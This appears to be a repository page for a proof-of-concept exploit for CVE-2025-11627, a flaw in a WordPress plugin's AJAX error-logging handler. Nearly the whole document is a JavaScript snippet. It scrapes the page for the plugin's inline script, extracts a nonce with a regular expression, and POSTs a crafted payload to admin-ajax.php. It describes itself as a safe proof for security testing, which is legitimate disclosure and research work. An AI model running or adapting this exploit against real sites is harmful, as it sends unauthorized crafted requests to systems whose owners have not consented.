jfriedli/cve-2025-11627Proof-of-concept exploit for CVE-2025-11627 targeting a WordPress plugin AJAX handler with nonce extraction and payload delivery for security testing.
Send a crafted request to the AJAX handler with the extracted nonce.
(() => {
// 1) find the inline script that contains the AJAX URL
const s = [...document.scripts].find(sc => sc.textContent.includes('bill_minozzi_js_error_catched'));
if (!s) { console.error('Script with ajax URL not found. Is wp_head() present?'); return; }
// 2) extract the nonce from "...admin-ajax.php?action=bill_minozzi_js_error_catched&_wpnonce=XXXX"
const m = s.textContent.match(/admin-ajax\.php\?action=bill_minozzi_js_error_catched&_wpnonce=([A-Za-z0-9_-]+)/);
if (!m) { console.error('Nonce not found in inline script'); return; }
const NONCE = m[1];
// 3) send a minimal payload (safe proof)
fetch('/wordpress/wp-admin/admin-ajax.php', {
method: 'POST',
headers: {'Content-Type':'application/x-www-form-urlencoded'},
body:
'action=bill_minozzi_js_error_catched' +
'&_wpnonce=' + encodeURIComponent(NONCE) +
'&bill_js_error_catched=' + encodeURIComponent('Message: X - URL: http://x.js - Line: 1')
}).then(r => r.text()).then(t => console.log('Response:', t));
})();